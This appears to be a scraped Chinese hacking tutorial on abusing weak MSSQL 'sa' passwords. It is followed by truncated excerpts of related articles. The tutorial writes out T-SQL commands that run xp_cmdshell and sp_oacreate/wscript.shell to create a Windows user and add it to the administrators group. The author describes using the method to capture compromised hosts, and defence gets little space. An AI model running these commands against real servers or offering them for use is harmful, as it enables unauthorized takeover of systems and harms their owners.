mssql中儲存過程分為三種,系統提供的儲存過程,使用者自定義的儲存過程和擴充套件儲存過程。
系統提供的儲存過程是在安裝sqlserver時建立的儲存過程,名字以"sp_"開頭。使用者定義的儲存過程是用sqlserver的使用者編寫的儲存過程。擴充套件儲存過程則是對動態鏈結庫(dll)函式的呼叫,主要是用於客戶端與伺服器端或客戶端之間進行通訊的,與一般動態鏈結庫不同的是它們直接執行在sqlserver分配的記憶體位址內,其中危險性最高的擴充套件儲存過程就xp_cmdshell了,它可以執行作業系統的任何指令。
sa是microsoft sqlserver的管理員帳號,擁有最高許可權,它可以執行擴充套件儲存過程,並獲得返回值。如:
code:
use master
go
exec xp_cmdshell 『net user test /add』 --新增使用者名為test的受限使用者
exec xp_cmdshell 『net localgroup administrators test /add』 --提公升test的使用者許可權為系統管理員
exec xp_cmdshell 『net user test /del』 --刪除test使用者
現在你應該明白為什麼得到sa密碼,就可以得到系統的最
高許可權了吧。
下面就詳細講解下mssql利用sa弱口令的攻擊和防範。
除了』xp_cmdshell』還有別的攻擊方法麼?當然有,在mssql中有一系列與ole相關的儲存過程,這一系列的儲存過程同xp_cmdshell以及讀取登錄檔系列的儲存過程一樣危險。這系列的儲存過程有sp_oacreate,sp_oadestroy,sp_oageterrorinfo,sp_oagetproperty,sp_oamethod,sp_oasetproperty,sp_oastop。
code:
declare @shell int --新增使用者名為test的使用者 如果目標作業系統為xp的話將winnt改為windows
exec sp_oacreate 『wscript.shell』,@shell output exec sp_oamethod @shell,『run』,null,『c:/windows/system32/cmd.exe /c net user test 123 /add』
declare @shell int --提公升test的使用者許可權為系統管理員
exec sp_oacreate 『wscript.shell』,@shell output exec sp_oamethod @shell,『run』,null, 『c:/windows/system32/cmd.exe /c net localgroup administrators test /add』
先寫這兩種吧,呵呵估計心急的已經去測試了但是似乎忘了告訴你,mssql在安裝時xp_cmdshell 和ole相關的儲存過程預設都是關閉的
。
sa弱口令強行入侵
我自己現在找肉雞主要是找sa弱口令肉雞到還能找到幾隻,但也碰到不少困難,到處查資料總算找到點有用的。下面這些命令要sql分離器才能實現,下面是一些關於sa弱口令相關命令。一.更改sa口令方法 二.簡單修補sa弱口令 方法1 查詢分離器連線後執行 if exists select from dbo.s...
sql弱口令入侵
sql弱口令入侵 mssql伺服器sa使用者弱口令入侵是及其經典的一種黑客入侵手法 其成名是在中美黑客大戰的時候,我們的前輩利用它入侵了很多美國鬼 子的伺服器。下面我介紹一下這種入侵的詳細情況。基礎知識 我們在安裝mssql伺服器之後,系統會有個預設的帳號sa 而這個帳號預設又是空密碼。最要命的是這...
入侵感知系列之弱口令檢測思路
弱口令檢測 背景 在安全方面弱口令問題算是技術含量最低的安全隱患了。但往往技術含量越低,被利用頻率也越高,而且造成的影響還不見得小。所以治理弱口令將成為安全體系建設中價效比最高的乙個環節。但是就是這樣乙個價效比高的環節想完全杜絕卻不是那麼容易,未來的系統可以通過註冊申請環節強制設定強密碼,但是針對過...